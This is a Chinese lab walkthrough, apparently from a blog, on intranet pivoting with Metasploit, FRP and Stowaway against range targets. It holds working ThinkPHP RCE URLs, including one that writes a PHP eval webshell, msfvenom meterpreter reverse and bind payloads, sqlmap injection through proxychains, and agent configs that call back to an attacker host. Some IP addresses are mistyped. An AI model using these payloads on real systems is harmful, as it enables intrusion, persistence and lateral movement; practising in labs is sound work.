代理分类

正向代理

代理客户端，隐藏客户端

反向代理

代理服务器，隐藏服务器

MSF

靶场环境

1、先对HOST OS进行扫描发现target1

nmap -sT -T4 -p80- 192.18..2.0/24

2、将扫描探测到的存活主机进行端口扫描

nmap -sT -T4  192.18..2.11

3、对192.168.2.11进行目录扫描

dirb http://192.168.2.11

4、发现thinkphp框架的应用

http://192.1682.11/public/index.php

5、进行漏洞利用

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[c]);?>

6、蚁剑连接

7、使用蚁剑对target1进行内网信息收集

（1）收集target1的所有网段

ipconfig

（2）下载任意一个IP扫描工具上传至target1进行IP、端口扫描

chmod u+x ./fscan -h 192.168.22.0/24

8、生成msfvenom上传至target1获取到meterprater

（1）生成msfvenom

msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.2.227 lport=6667 -f elf -o test1.elf

（2）kaili开启http监听

（3）靶机下载msfvenom

wget msfvenom路劲

（4）加可执行权限

（5）kali开启监听

（6）靶机运行msfvenom

（7）msf获得session

9、利用socks模块进行代理

（1）search socks

（2）use 0

（3）set VERSION 4a

（4）run

10、进入target1的session，添加到192.168.22.0的路由

（1）session 1

（2）run autoroute -s 192.168.22.0/24
（3）run autoroute -p

11、攻击机代理响应的IP和端口即可访问http://192.168.22.22

12、kali代理proxychains

13、使用sqlmap跑出用户名密码

proxychains3 sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword

14、登录到系统中在模板中添加一句话木马

15、将蚁剑配置代理进行连接

16、生成fsmvenom上传至target

msfvenom -p  linux/x64/meterpreter/bind_tcp lport=5555 -f elf > test2.elf

17、kali创建正向监听

handler -p  linux/x64/meterpreter/bind_tcp -H 192.168.22.22 -P 5555

18、执行target2的木马

19、获得target2的session

20、查看target2是否有其他网段

ifconfig

21、上传fcsan至target2用于扫描其他网段

./fscan -h 192.168.33.0/24

#扫到192.168.33.33有服务

22、kali配置代理

23、添加到192.168.33.33的路由

（1）session 2

（2）run autoroute -s 192.168.33.0/24
（3）run autoroute -p

24、kali使用rdp登录192.168.33.33

FRP

靶场环境

1、下载FRP到服务器和靶机

代理target1

2、服务器修改配置文件并运行frps

# 修改frps配置文件
vim frps.ini

[common]
bind_port = 7000

# 启动frps
./frps -c frps.ini

3、target1修改配置文件并运行frpc

# 查看frpc配置文件
vim frpc.ini

[common]
server_addr = 192.168.10.131
server_port = 7000

[socks5]
type = tcp
plugin = socks5
remote_port = 10088

# 启动frpc
./frpc -c frpc.ini

代理target2

4、target1开启7000端口

1、上传frps

2、执行frps

5、将以下配置添加到target1的fprc.ini中

[socks5_to_33]
type = tcp
local_ip = 127.0.0.1
local_port = 10089
remote_port = 10090

6、target2修改配置文件并运行frpc

#修改frpc的配置文件

vim frpc.ini

[common]
server_addr = 192.168.22.11
server_port = 7000

[socks5_22.11]
type = tcp
plugin = socks5
remote_port = 10089

#启动frpc

./frpc -c frpc.ini

Stowaway

靶场环境

1、下载Stowaway的服务端到攻击机上，下载Stowaway的客户端到target1上

2、攻击机开启服务端

./stowaway_admin -l 9999 -s hack

3、target1开启客户端并连接服务端

/stowaway_agent -c 192.168.10.131:9999 -s hack

4、进入target1节点开启socks代理

use 0
socks 1080

5、上传Stowaway的客户端到target2上

6、node[0]中开启10000端口监听用于接收target2

listen
1
7070

7、target2执行Stowaway的客户端

./stowaway_agent -c 192.168.22.11:10000 -s hack

8、进入target2节点开启socks代理

use 1

socks 1081

9、kali开启socks代理使用rdp登录192.168.33.33

FRP代理和Stowaway代理示意图

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途，否则一切后果请用户自负。

本站信息来自网络，版权争议与本站无关。您必须在下载后的24个小时之内，从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序，请支持正版，购买注册，得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解！

程序来源网络，不确保不包含木马病毒等危险内容，请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱：4ablog168#gmail.com（#换成@）